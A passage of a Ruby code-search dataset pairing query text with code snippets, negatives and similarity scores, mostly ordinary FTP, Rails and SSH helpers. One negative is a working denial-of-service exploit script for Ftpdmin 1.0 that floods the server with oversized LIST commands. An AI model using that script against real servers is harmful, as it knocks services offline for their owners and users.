Airbrake.notify_or_ignore(Exception.new(\"Upload Order to FTP Failed: Order #{self.order_code} , Order Item #{o_i.id} , Error: #{errors.uniq.join(', ')}\")) if defined?(Airbrake) && Rails.env.production?\n return\n end\n end\n else\n uploaded_photos[o_photo_url] = {\n attempts: 1,\n success: true\n }\n end\n\n unless finished\n o_photo = open(o_photo_url)\n txt_file_object = File.new(o_photo)\n ftp.putbinaryfile(txt_file_object, \"#{folder_name}/#{index}_#{o_i.photo.image_name}\")\n\n finished = true\n end\n rescue Exception => e\n errors << e.message\n \n finished = false\n if uploaded_photos[o_photo_url]\n uploaded_photos[o_photo_url][:success] = false\n else\n uploaded_photos[o_photo_url] = {\n attempts: 1,\n success: false\n }\n end\n end\n \n end\n\n end\n\n txt_file_object = File.new(\"tmp/message.txt\")\n ftp.putbinaryfile(txt_file_object, \"#{folder_name}/#{File.basename(txt_file_object)}\")\n\n ftp.close\n end", "def update\n respond_to do |format|\n if @ftp_server.update(ftp_server_params)\n format.html { redirect_to @ftp_server, notice: 'Ftp server was successfully updated.' }\n format.json { render :show, status: :ok, location: @ftp_server }\n else\n format.html { render :edit }\n format.json { render json: @ftp_server.errors, status: :unprocessable_entity }\n end\n end\n end", "def execute(aCommand,aPGW,aUser,aPassword,para1,para2,para3,para4,para5,para6,para7,para8,para9,para10)\n\n\t\tresult = \"\"\n \t\thostname = aPGW\n \t\tuser = aUser\n \t\tpassword = aPassword\n \t\tmsisdn = para1\n\t\tport = 7776\n\t\tcommand = aCommand\n\n\t\tcommandString = buildCommand(aCommand,para1,para2,para3,para4,para5,para6,para7,para8,para9,para10)\n\t\tputs 'about to open tcp connection.....'\n\t\ts = TCPSocket.open(hostname, port)\n\t\tputs 'connection opened'\n\t\ts.write(\"LGI:OPNAME=\\\"#{user}\\\", PWD=\\\"#{password}\\\";\")\n\n\t\tputs 'logged in!'\n\t\tstream = true\n\n\t\twhile stream\n\t \t\tline = s.gets\n \t\t\t puts line.chop \n \t \t\tif (line[/END/])\n \t \t\t\tstream = false\n \t \t \t\t#s.close\n \t\t\tend \n \t\tend\n\n \t\ts.write(commandString)\n \t\ts.write(\"LGO:;\")\n\n\n\n\t\tstream = true\n\n\t\twhile stream\n\t\t\t line = s.gets \n\t \t\tresult = result+line\n \t \t\t#puts line.chop \n \t \t\tif (line[/END/])\n \t \t\t\tstream = false\n \t \t\t\ts.close \n \t \t\t\tputs 'closed connection' \n \t\t\tend \n \t\tend\n\n \t\treturn result\n\n\n\n end", "def english()\n\ndef len(str)\n return str.length\nend\n\nsys = `ver`\nif sys=~/Windows/\nsystem(\"cls\")\nsystem(\"color 4f\")\nelse\nsystem(\"clear\")\nend\n\ndef usage()\nprint \"\"\"\n\n =======================================================\n =======================================================\n ==========Exploit Denial of Service Ftpdmin 1.0========\n ==========Autor C4SS!0 G0M3S===========================\n ==========E-mail Louredo_@hotmail.com==================\n ==========Site www.exploit-br.org======================\n =======================================================\n =======================================================\n\n\"\"\"\nend\n\nif len(ARGV)!=2 \n usage()\n print \"\\t\\t[-]Usage: ruby #{$0} <Host> <Porta>\\n\"\n print \"\\t\\t[-]Exemple: ruby #{$0} 192.168.1.2 21\\n\"\n exit(0)\nend\nusage()\nbuf = \"./A\" * (150/3)\n\nhost = ARGV[0]\nporta = ARGV[1].to_i\nprint \"\\t\\t[+]Connecting to Server #{host}...\\n\\n\"\nsleep(1)\nbegin\ns = TCPSocket.new(host,porta)\nprint \"\\t\\t[+]Checking if server is vulnerable\\n\\n\"\nsleep(1)\nrescue\nprint \"\\t\\t[+]Error to Connect to Server\\n\"\nexit(0)\nend\nbanner = s.recv(2000)\ns.close\nunless banner =~/Minftpd/\n print \"\\t\\t[+]I'm Sorry, the Server is not Vulnerable:(\\n\"\n sleep(1)\n exit(0)\n end\n print \"\\t\\t[+]Server is Vulnerable:)\\n\\n\"\n sleep(1)\n print \"\\t\\t[+]Sending Exploit...\\n\\n\"\nsleep(1)\n\ni=0\nwhile i<20\nsock = TCPSocket.new(host,porta)\nsock.recv(2000)\nsock.puts \"USER anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"PASS anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"LIST #{buf}\\r\\n\"\nsock.close\ni+=1\nend\nprint \"\\t\\t[+]Submitted Exploit Success\\n\\n\"\nsleep(1)\nprint \"\\t\\t[+]Checking if the Exploit Works\\n\\n\"\nsleep(5)\n\nbegin\nso = TCPSocket.new(host,porta)\nso.send(\"2000\")\nprint \"\\t\\t[+]I'm Sorry, The Exploit Not Worked:(\\n\\n\"\nrescue\nprint \"\\t\\t[+]Congratulations, The exploit worked with Success:)\\n\\n\"\nend\n\nend", "def ftp_scan(ftp, dir, host)\n passdump=@@outdir + host + '-ftp_dump.txt'\n f=File.open(passdump, 'a+')\n ftp.chdir(dir)\n f.puts \"Listing Content for: #{ftp.pwd}\"\n print_status(\"Listing Content for: #{ftp.pwd}\")\n entries = ftp.list('*')\n entries.each do |file| \n print_line(\"#{file.chomp}\") unless file.chomp.nil? or file.chomp == '' \n f.puts file.chomp unless file.chomp.nil? or file.chomp == ''\n end\n f.close\n entries.each do |entry|\n if entry[0] == \"d\" and entry.split(' ')[-1] != '.' and entry.split(' ')[-1] != '..'\n ftp_scan(ftp, entry.chomp, host) #Call self until no more dirs left\n end\n end\n # Since we dipped down a level to scan this directory, lets go back to the parent so we can scan the next directory.\n ftp.chdir(@base)\n end", "def initialize(username, password, auth_key) \n @username = username\n @password = password\n \n @uri = URI.parse(@@fonolo_uri)\n @headers = { \"Content-Type\" => \"application/json\",\n \"X-Fonolo-Auth\" => auth_key,\n \"X-Fonolo-Username\" => username, \n \"X-Fonolo-Password\" => password }\n \n @http = Net::HTTP.new(@uri.host, @uri.port)\n @http.use_ssl = true\n end", "def remote_sync_ftp\n @attributes[:remote_sync_ftp]\n end", "def connect; end", "def allow_remote_database_url=(_arg0); end", "def initialize\n @nif = nil\n @password = nil\n end", "def test_nil_connparms\n @conn.disconnect\n #\n assert_nothing_raised do\n @conn = Stomp::Connection.open(nil, nil, host, port, false, 5, nil)\n end\n checkEmsg(@conn)\n end", "def fiado_params\n params.require(:fiado).permit(:nombre, :direccion, :rfc, :telefono, :email, :cdf, :ife, :cf, :da, :ac, :mac, :ah, :ber, :cc, :osife, :oscdf, :osg)\n \n end", "def connect(*) end", "def update\r\n respond_to do |format|\r\n if @ftp_server.update(ftp_server_params)\r\n format.html { redirect_to @ftp_server, notice: 'Ftp server was successfully updated.' }\r\n format.json { render :index, status: :ok, location: @ftp_server }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @ftp_server.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def ssh_login(do_tail, ssh_hostname, ssh_username, ssh_password)\n if ssh_hostname == '' or ssh_username == '' or ssh_password == ''\n puts \"Invalid SSH credentials is given\"\n else\n Net::SSH.start(ssh_hostname, ssh_username, :password => ssh_password) do |session|\n puts \"\\n### OVERALL FETCHED TAIL LOG IN SSH CLIENT ###\"\n if session.closed?\n puts 'SSH Email File Processor is not working or FTP files are not uploaded'\n else\n puts \"SSH Login is successfull : #{ssh_username}\"\n do_tail session, \"/home/apps/EMAIL_FILE_PROCESSOR/log/email_file_processor.log\"\n session.loop\n end\n end\n end\nend", "def fetch_ftp_users_info_from_database(db_host_address, db_username, db_password, db_esme_address)\n unless db_esme_address.nil? || db_esme_address == ''\n sleep 5\n db_login = Mysql2::Client.new(:host => db_host_address, :username => db_username,:password=> db_password, :database => 'billing')\n update_query = db_login.query(\"UPDATE email.inboxed_ftp_rule SET templateFile=NULL, FILE=NULL, text='Test Sample', template_id=NULL WHERE Esmeaddr ='#{db_esme_address}'\")\n db_output = db_login.query(\"SELECT * FROM proftpd.`ftp_email_users` WHERE esmeaddr ='#{db_esme_address}'\")\n database_output = db_output.first # CONVERTING DATABASE RESPONSE TO HASH\n unless database_output.nil? || database_output == 0\n database_ftp_file_pattern = database_output['input_file_pattern']\n database_ftp_esme_address = database_output['esmeaddr']\n database_ftp_host = database_output['ftp_host']\n database_ftp_destination_dir = database_output['destinationdir']\n database_ftp_home_dir = database_output['homedir']\n database_ftp_username = database_output['remote_user']\n database_ftp_password = database_output['remote_passwd']\n database_ftp_attachment_pattern = database_output['attachment_file_pattern']\n database_ftp_port = database_output['ftp_port']\n puts \"#DATABASE RESPONSE SHOWN ON QUERY SEARCH BASED ON ESME ADDRESS:\\n #{database_output}\"\n db_login.close\n else\n puts 'Database Query is Invalid or Data is not Inserted in Billing Table'\n end\n else\n puts 'Invalid ESME Address or Unable to fetch database response'\n end\n return database_output\nend", "def initialize port=5554\n @connection = Net::Telnet.new \"Host\" => \"localhost\",\n \"Port\" => port\n end", "def initialize(p)\n @host = p[:host]\n @port = p[:port]\n @user = p[:user]\n @pass = p[:pass]\n @cvsroot = p[:cvsroot].strip\n @debug = p[:debug]\n @ports_tree = p[:ports_tree].strip\n\n @client = TCPSocket.open(@host, @port)\n request(\"BEGIN AUTH REQUEST\")\n request(@cvsroot)\n request(@user)\n request(CVSDumb.pass_scramble(@pass))\n request(\"END AUTH REQUEST\")\n fail \"cannot auth to #{@user}@#{@host}\" if getline != 'I LOVE YOU'\n end", "def passthru\n\n end" ]
[ "0.6680768", "0.65361094", "0.64885414", "0.6263674", "0.62524533", "0.6233291", "0.62327033", "0.6221403", "0.61966604", "0.61561334", "0.613992", "0.60499626", "0.600968", "0.5957385", "0.589155", "0.5890658", "0.5853896", "0.5825947", "0.58177894", "0.5656974", "0.56547713", "0.55986065", "0.55811733", "0.5580115", "0.5576391", "0.55213547", "0.5516268", "0.5497164", "0.54872584", "0.54505694", "0.54186445", "0.541028", "0.5404808", "0.53750026", "0.5343623", "0.53338015", "0.5309769", "0.5268823", "0.52518153", "0.52078843", "0.51973885", "0.51441324", "0.51164603", "0.51039785", "0.5057482", "0.5045622", "0.49879396", "0.49770638", "0.4960101", "0.49589142", "0.4946022", "0.48701316", "0.48657465", "0.48561892", "0.4842231", "0.4835982", "0.48196024", "0.4809653", "0.47971952", "0.47837862", "0.47724342", "0.47583658", "0.47576413", "0.4736868", "0.4736055", "0.4715676", "0.46810234", "0.46684548", "0.46677703", "0.4658537", "0.46517158", "0.46489173", "0.46472716", "0.4640522", "0.46386033", "0.46380445", "0.46323362", "0.46323362", "0.46153727", "0.4609713", "0.4607018", "0.4603314", "0.4590485", "0.45790493", "0.45687208", "0.45633817", "0.45413798", "0.45391175", "0.4514543", "0.4513674", "0.4510848", "0.45090675", "0.45088604", "0.44925213", "0.44909638", "0.44845632", "0.44815537", "0.4463208", "0.44479066", "0.444081" ]
0.55499136
25
Fa il parse dal tipo di flusso, mi crea il nome del file da scaricare Parameters : file => "MGP_Prezzi" (Tipo di flusso che deve scaricate) Return : "20141010MGPPrezzi.xml" (nome del file da scaricare)
def parse_name_file file #name_file = "#{@giorno_flusso}" + "#{file.gsub "MGP_","MGP"}" + ".xml" name_file = case file when /OffertePubbliche/ then "#{@giorno}" + "#{file.gsub "MGP_","MGP"}" + ".zip" when /MGP/ then "#{@giorno}" + "#{file.gsub "MGP_","MGP"}" + ".xml" when /MI1/ then "#{@giorno}" + "#{file.gsub "MI1_","MI1"}" + ".xml" when /MI2/ then "#{@giorno}" + "#{file.gsub "MI2_","MI2"}" + ".xml" when /MI3/ then "#{@giorno}" + "#{file.gsub "MI3_","MI3"}" + ".xml" when /MI4/ then "#{@giorno}" + "#{file.gsub "MI4_","MI4"}" + ".xml" when /MI5/ then "#{@giorno}" + "#{file.gsub "MI5_","MI5"}" + ".xml" end name_file end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def file_path\n \"studio/#{type}/#{id}.xml\"\n end", "def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend", "def get_raw_filename (file)\n\t\n\t\t# convert to string\n\t\tfile = get_filename(file)\n\t\t# remove extension\n\t\tfile.sub(get_ext(file), \"\")\n\t\t\n\tend", "def parsed_file_name\n data_file_name.split('.')[0]\n end", "def make_filename(filename)\n ### Making the filename\n bname=File.basename(filename,\".xml\")\n dname=File.dirname(filename)\n part=Array.new\n part=dname.split(\"/\")\n tmp1=String.new\n if (!(part.empty?)) then \n part.each{|ex| if (ex=~/^[0-9]/) then tmp1=ex end}\n end\n if (!(tmp1.empty?)) then \n newfilename=bname+\"_\"+tmp1\n else \n newfilename = bname\n end\n return newfilename\n end", "def generated_file_name(*args)\n return args.first.to_param.to_s\n end", "def file name\n \n end", "def file_name\n file_name = (\"tmp/insert_externals.txt\")\n #file_name = (\"tmp/insert_internals.txt\")\n #file_name = (\"./tmp/insert_internals_hash.txt\")\n #file_name = (\"lib/anagrams/anagrams_table_data.txt\")\n #file_name = (\"tmp/insert_anagrams.txt\")\n #file_name = (\"tmp/insert_word_list.txt\")\n #file_name = (\"../../Documents/20110421-research_textualed.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hash-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_keys-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_values-015.txt\")\n end", "def parse_file\n File.read(file_with_ext).to_s\n end", "def file_name\n \"#{@file_name}.#{extension}\"\n end", "def file\n file_names[x]\n end", "def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end", "def filename\n @file\n end", "def file_name\n file_name = (\"./tmp/database_doings/doing_uniques/uniques_done.txt\")\n end", "def make_file_name(proposal, type='paltrack')\n @filename = \"item_export_#{Time.now.strftime('%Y%m%d%H%M%S')}.csv\"\n end", "def name() @filename end", "def get_filename (file)\n\t\tif file.is_a? File\n\t\t\tfile = file.path\n\t\tend\n\t\treturn file\n\tend", "def file_name\n # file = full_name\n # file = file.gsub('::', '/')\n # file = file.gsub('#' , '/')\n # file = file.gsub('.' , '-')\n # #file = File.join(output, file + '.html')\n # file\n WebRI.entry_to_path(full_name)\n end", "def file_name\n @file_name ||= File.basename tree\n end", "def file_string(file)\n return file.class == Fixnum ? files[file] : file\n end", "def get_file(line)\n line.match(/-w (.+) -p/)[1]\n end", "def filename\n \"#{options.filename}.#{options.filetype}\"\n end", "def name\n @name ||= File.basename(file).chomp(File.extname(file))\n end", "def filename_meta(file)\n site_name = file[/\\[(.*)\\]/, 1]\n\n timestamp = file[/\\d{4}.*\\d/, 0]\n pattern = '%Y-%m-%d--%H-%M-%S'\n timestamp = DateTime.strptime(timestamp, pattern)\n\n { site_name: site_name, timestamp: timestamp }\n end", "def make_file_name(proposal, type='paltrack')\n if type == 'paltrack'\n make_paltrack_file_name(proposal)\n else\n @filename = @flow_type.upcase << @formatted_seq\n end\n end", "def name\n @name ||= filename.split(\".\").first.sub(/^_/, \"\")\n end", "def file_name\n return unless @file\n\n @file.absolute_name\n end", "def create_filename_for_metric(file)\n return file unless defined?(::Sinatra) && defined?(::Sinatra::Base)\n\n file.split('/')[-2..-1].join('/')\n rescue NoMethodError\n file\n end", "def file_name\n @file_name\n end", "def getMoleculeName(filename)\n\tfile = File.new( filename )\n\tdoc = REXML::Document.new file\n\tdoc.elements.each(\"molecule/name\") { |element| \n\t\treturn element.text\n\t}\nend", "def file_name\n potential_name = params[:filename] || file.original_name || (asset.respond_to?(:label) && asset.label) || file.id\n potential_name = potential_name.gsub(/[,;]/, '')\n potential_extension = ''\n if file.mime_type == 'image/png'\n potential_extension = '.png'\n elsif file.mime_type == 'image/tiff'\n potential_extension = '.png'\n elsif file.mime_type == 'image/jpeg' || file.mime_type == 'image/jpg'\n potential_extension = '.jpg'\n end\n return potential_name\n #return potential_name + potential_extension\n end", "def filename\n @file.basename.to_s\n end", "def name\n filename\n end", "def name\n filename\n end", "def file_name\n \"images/#{@name}.msf\"\n end", "def nifti_file_name minc_file_name\n raise \"Error: this doesn't look like a MINC file\" unless is_minc_file_name? minc_file_name\n name =\"#{File.dirname(minc_file_name)}/#{File.basename(minc_file_name,\".mnc\")}\" \n return \"#{name}.nii\"\n end", "def file_name\n name.underscore\n end", "def file\n file_id = @attributes[\"file\"]\n file_node = NodeCache.find(file_id)\n file_node ? file_node.name : nil\n end", "def file_name\n file_name = (\"./tmp/database_doings/doing_phrases/insert_phrase_lines.txt\")\n end", "def possible_sample_name(filename)\n\t\tfilename.split('/').last.split('.').first\n\tend", "def access_file_name\n end", "def parser_type_for_filename(filename); end", "def to_s\n file_file_name.to_s\n end", "def file_name\n \"#{Time.current.to_i}-#{@file.original_filename}\"\n end", "def get_cpt_file(file)\n \"#{File.expand_path(file)}.cpt\"\n end", "def temp_file\n File.join($config[\"processed_loc\"], File.basename(@origional_file).sub('.'+process_tag, '').sub(File.extname(@origional_file), '.mkv'))\n end", "def make_file_name(proposal, type='paltrack')\n @filename = \"sales_export_#{Time.now.strftime('%Y%m%d%H%M%S')}.csv\"\n end", "def xml\n File.read(\"#{@file_path}.xml\")\n end", "def create_short_filename_from_fpieces(fpieces)\n f = fpieces['filetype']\n q = fpieces['quality']\n track_key = fpieces['track_key']\n if f && track_key\n ext = helper_make_ext(q,f)\n \"#{track_key}.#{ext}\"\n else\n raise \"Cannot create short fname without cd_key and track #\"\n end\n end", "def get_filename(file)\n File.basename(file)\n end", "def full_filename (for_file = model.document.file)\n for_file\n end", "def parse_file(filename); end", "def proper_filename(file)\n file.gsub(/[^\\w]/,'_')\n end", "def extract_file_name(file)\n return file.split('/').last.split('.csv').first\nend", "def makeKeggTaxonId(file)\n out = File.new(file, \"w\")\n keggtaxurl = \"http://www.genome.jp/kegg-bin/get_htext?query=&htext=Organisms&filedir=&option=-e&extend=F65F548C25-2E42-3&uploadfile=&format=&wrap=&length=&open=&close=&hier=18&oneclick=on\"\n out = File.new(\"kegg_taxon_ids.txt\", \"w\")\n File.new(open(keggtaxurl)).each do |line|\n if line =~/([^\\>]*)<\\/I>.*id=([0-9]*).*>([a-z]*)</\n sp, taxid, name = $1, $2, $3\n out.printf(\"%s\\t%d\\t%s\\n\", name, taxid, sp)\n end\n end\n out.close\nend", "def filename\n \"wallpaper.#{file.extension}\" if file\n end", "def page_file_name(name, format)\n format.nil? ? name : \"#{name}.#{::Gollum::Page.format_to_ext(format)}\"\n end", "def filename\n return @args[:fname]\n end", "def nextfile(ctr)\n fn = $prefix+'.'+ctr.to_s+\".xml\"\n # returns the handle\n h = File.new(fn,'w')\n $preamble.each {|ln| h.puts ln}\n return h\n end", "def get_file_name(chatname)\n parse_chatname(chatname) + '.txt'\n end", "def file_name\n return @file_name\n end", "def file_name\n return @file_name\n end", "def possible_sample_name(filename)\n filename.split('/').last.split('.').first\n end", "def filename\n unless @filename\n load_file_params\n end\n @filename\n end", "def xml_for_mp3 mp3\n m = /([^\\/]+\\/\\d{4}\\/\\d{2}\\/\\d{2}\\/\\d{4}\\s.*)\\.mp3$/.match mp3\n raise \"Ouch\" if m.nil?\n File.join 'stations', m[1] + \".xml\"\nend", "def generate_filename \n last_file = Dir[@path + '/*.ind'].sort.last\n if last_file.nil?\n file_name = @path + '/ind0.ind'\n else\n number = File.basename(last_file).match(/[0-9]+/)[0].to_i\n # we have to match the complete name, because there can be\n # numbers before the file too\n file_name = last_file.gsub(\n /ind#{number}\\.ind/,\n \"ind#{(number + 1)}.ind\"\n )\n end\n file_name\n end", "def file_type file_name \n\t\tFile.extname( file_name ).gsub /^\\./, '' \n\tend", "def outbank_file_name\n self.feed\n end", "def parse_xml(filename)\n @parser = Parser.new :pregenerated => filename\n @parser.parse\n end", "def filename\n return @args[\"fname\"]\n end", "def file_to_name(file)\n return file.split(\"_\").map(&:capitalize).join\n end", "def firstOPFEdit(file)\n\topfcontents = File.read(file).gsub(/<dc:creator/,\"<dc:identifier id='isbn'>#{Metadata.eisbn}</dc:identifier><dc:creator id='creator'\")\n\topfcontents\nend", "def get_dataset_name(filename)\n @dataset_name = filename.chomp(\".xml\")\n @dataset_name.gsub!(/\\%/, \"percent\")\n @dataset = Dataset.find_or_create_by_name(@dataset_name)\n end", "def filename\n @filename\n end", "def get_file()\n puts(\"Please enter a file path: \")\n for arg in ARGV\n \tname = arg\n end\n print meta_data(name)\n name\nend", "def destination_file\n @origional_file.sub('.'+process_tag, '').sub(File.extname(@origional_file), '.mkv')\n end", "def create_from_file\n end", "def make_feed_file2(fileName, type, bucketId, docIdStart, docIdStop)\n file = File.new(fileName, \"w\")\n\n file.syswrite(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\")\n file.syswrite(\"<vespafeed>\\n\")\n (1+docIdStop-docIdStart).times{|i|\n docId=docIdStart+i\n file.syswrite(\" <document type=\\\"#{type}\\\" id=\\\"id:#{type}:#{type}:n=#{bucketId}:#{docId}\\\"/>\\n\")\n }\n file.syswrite(\"</vespafeed>\\n\")\n\n file.close\n end", "def file_name\n self.file_file_name\n end", "def _output_filename(file)\n sub_strings = File.basename(file).split('.')\n base_name, extensions = sub_strings.first, sub_strings[1..-1]\n\n if extensions.last == 'haml'\n extensions.pop\n if extensions.empty?\n [base_name, options[:default_ext]].join('.')\n else\n [base_name, extensions].flatten.join('.')\n end\n else\n [base_name, extensions, options[:default_ext]].flatten.compact.join('.')\n end\n end", "def createXmlFilePath\r\n\t\tfile = nil\r\n\t\tif (ARGV[1] == nil)\r\n\t\t\tbegin\r\n\t\t\t\tputs \"Please input save xml file path:\"\r\n\t\t\t\txmlFilePath = gets\r\n\t\t\t\tfile = File.new(xmlFilePath, \"w+\") \r\n\t\t\trescue Exception\r\n\t\t\t\tputs \"something is error, please try agin\"\r\n\t\t\t\texit()\r\n\t\t\telse\r\n\t\t\t\tputs \"found file succee, start...\"\r\n\t\t\tensure\r\n\t\t\t\tif file == nil\r\n\t\t\t\t\texit();\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tfile = File.new(ARGV[1], \"w+\")\r\n\t\tend\r\n\t\treturn file\r\n\tend", "def filename_generator\n\t\tparameter_array = Array.new\n\t\tunless params[:name].blank?\n\t\t\tparameter_array << params[:name]\n\t\tend\n\t\t\n\t\tunless params[:state].blank?\n\t\t\tparameter_array << params[:state]\n\t\t end\n\t\t\n\t\tunless params[:commodity].blank?\n\t\t\tparameter_array << params[:commodity]\n\t\tend\n\t\t\n\t\t\n\t\t unless params[:status].blank?\n\t\t\t parameter_array << params[:status].pluralize.parameterize.underscore\n\t\t else\n\t\t\t parameter_array << params[:controller]\n\t\t end\n\t\t\t\t \n\t\t unless params[:action] == 'index'\n\t\t\tparameter_array << params[:action]\n\t\t end\n\t\t \n\t\t if params[:action].in?([\"jorc\",\"resources\"])\n\t\t\tparameter_array << \"for_#{params[:year]}\" unless params[:year].blank?\n\t\t end\n\t\t\t\t\n\t\tparameter_array << Date.today.to_s.gsub(/-/,'')\n\t\t\n\t\t@filename = parameter_array.join('_')\n\tend", "def yaml_filename(file)\n ::File.basename(file).split('.').first\n end", "def build_file(params)\n # proto (required): protocol on connect back\n # hostname (required): hostname to connect to\n # file_type (required): file extension -- e.g. docx\n # hostname (required): connect back host -- this is confusing as it's not used by every combination\n\n oxmls = oxml_file_defaults()\n pl = read_payloads()\n\n if params[\"proto\"] == \"none\"\n ip = params[\"hostname\"]\n else\n # TODO is this correct for all protocols?\n ip = params[\"proto\"]+\"://\"+params[\"hostname\"]\n end\n\n # This takes in a file type and picks the file from the samples.\n input_file = oxmls[params[\"file_type\"]][0]\n if input_file == \"\"\n raise StandardError, \"Error: File could not be found based on file_type\"\n end\n\n nname = \"temp_#{Time.now.to_i}_\"\n ext = params[\"file_type\"]\n rand_file = \"./output/#{nname}_z.#{ext}\"\n # Make a copy of the sample and place it into the rand_file\n FileUtils::copy_file(input_file,rand_file)\n\n if oxmls.include?(params[\"file_type\"])\n fn = string_replace(pl[params[\"payload\"]][0],rand_file,ip,params[\"exfil_file\"])\n elsif params[\"file_type\"] == \"svg\"\n fn = insert_payload_svg(\"./samples/sample.svg\",pl[params[\"payload\"]][0],ip,params[\"exfil_file\"])\n elsif params[\"file_type\"] == \"xml\"\n fn = insert_payload_xml(\"./samples/sample.xml\",pl[params[\"payload\"]][0],ip,params[\"exfil_file\"])\n end\n\n return fn\nend", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename(file_set)\n return if file_set.original_file.blank?\n fn = file_set.original_file.file_name.first\n mime = Mime::Type.lookup(file_set.original_file.mime_type)\n ext_mime = MIME::Types.of(file_set.original_file.file_name).first\n if fn.include?(file_set.id) || importerexporter.metadata_only?\n return fn if mime.to_s == ext_mime.to_s\n return \"#{fn}.#{mime.to_sym}\"\n else\n return \"#{file_set.id}_#{fn}\" if mime.to_s == ext_mime.to_s\n return \"#{file_set.id}_#{fn}.#{mime.to_sym}\"\n end\n end", "def filename(record, file)\n original = \"#{file.basename}.#{file.extension}\"\n write_attribute(:original_filename, original)\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n \"#{application_for_offering.id.to_s}-#{title.gsub(/[\\s,\\.\\\\\\/\\*\\?\\%\\:\\|\\\"\\'\\<\\>]?/,'')}.#{ext}\"\n end" ]
[ "0.6458312", "0.5919844", "0.5889206", "0.5834126", "0.57996136", "0.5780383", "0.5776114", "0.5747106", "0.5729227", "0.56961703", "0.56716084", "0.56539774", "0.5615984", "0.5579325", "0.55407673", "0.5537919", "0.5535777", "0.55299205", "0.55248857", "0.5524413", "0.5517555", "0.5516302", "0.5514377", "0.55124664", "0.5505982", "0.5502465", "0.54992926", "0.54933035", "0.5487917", "0.54709905", "0.54634076", "0.5423476", "0.5413747", "0.5413747", "0.54091233", "0.5398823", "0.5388476", "0.5364234", "0.53567547", "0.5346885", "0.53432727", "0.5340532", "0.5325628", "0.5324048", "0.53228897", "0.5322489", "0.5302853", "0.52983147", "0.5295055", "0.52927005", "0.5273935", "0.52715003", "0.52546823", "0.5253055", "0.5242643", "0.52383554", "0.52362025", "0.5233591", "0.5222142", "0.52169836", "0.52167386", "0.52167386", "0.52090776", "0.5207347", "0.52069014", "0.52051836", "0.5201998", "0.52004355", "0.52001315", "0.5195823", "0.5189705", "0.51879257", "0.5184984", "0.51718694", "0.5170751", "0.51705164", "0.51657695", "0.5164481", "0.5163898", "0.51638824", "0.51611185", "0.51601005", "0.5154677", "0.515274", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.5150141", "0.51452494", "0.5142391" ]
0.74010056
0
Crea la directory che contiene il flusso e si posiziona al suo interno Parameters : nil Return : "K:/.../esiti_xml/20141009" (path della directory che contiene il flusso scaricato)
def crea_dir_per_xml path_xml = (Pathname.new(__dir__).parent)+"esiti_xml"+@giorno path_xml.mkdir(0700) unless path_xml.exist? return path_xml end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def generatedReportFolder\n currentData, currentTime = DateTime.now.strftime(\"%Y_%m_%d %H_%M\").split(' ')\n path = \"#{$ROOT}/../output\"\n creatFolder(path)\n path += \"/#{currentData}\"\n creatFolder(path)\n path += \"/#{currentTime}\"\n creatFolder(path)\n path\n end", "def gen_news_dir()\n dir = \"#{Rails.root}/public/secure/news/#{@folder}\"\n if Dir.exist? dir\n dir\n else\n dir if FileUtils.mkdir_p dir\n end\n end", "def create\n FileUtils.mkdir_p path\n end", "def creararchivofisico(name,directory,contenido)\n # creando la ruta\n path = File.join(directory,name)\n #grabando el archivo\n File.open(path, \"wb\") {|f1| f1.write(contenido) }\n end", "def createXmlFilePath\r\n\t\tfile = nil\r\n\t\tif (ARGV[1] == nil)\r\n\t\t\tbegin\r\n\t\t\t\tputs \"Please input save xml file path:\"\r\n\t\t\t\txmlFilePath = gets\r\n\t\t\t\tfile = File.new(xmlFilePath, \"w+\") \r\n\t\t\trescue Exception\r\n\t\t\t\tputs \"something is error, please try agin\"\r\n\t\t\t\texit()\r\n\t\t\telse\r\n\t\t\t\tputs \"found file succee, start...\"\r\n\t\t\tensure\r\n\t\t\t\tif file == nil\r\n\t\t\t\t\texit();\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tfile = File.new(ARGV[1], \"w+\")\r\n\t\tend\r\n\t\treturn file\r\n\tend", "def makePath\n\t\t\tbuildMgr.effective(filename).dirname.mkpath\n\t\tend", "def rss_path!\n FileUtils.mkdir_p(File.dirname(self.rss_path)) unless File.directory?(File.dirname(self.rss_path))\n end", "def mkdirs()\n if !File.exists?(\"data\")\n Dir.mkdir(\"data\")\n end \n if !File.exists?(CACHE_DIR)\n Dir.mkdir(CACHE_DIR)\n end\n if !File.exists?(RDF_DIR)\n Dir.mkdir(RDF_DIR)\n end\nend", "def create_directories\n directory '.', './'\n end", "def create\n FileUtils.mkdir_p(directory) unless exist?\n end", "def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend", "def create_dir(dirName)\r\n\tif !File.directory?(dirName)\r\n\t\tFileUtils.mkdir(dirName) #creates the /build directory\r\n\tend\r\nend", "def mkdir path\n parent = lookup_single! File.dirname(path), RbVmomi::VIM::Folder\n parent.CreateFolder(:name => File.basename(path))\nend", "def create_directory(path)\n 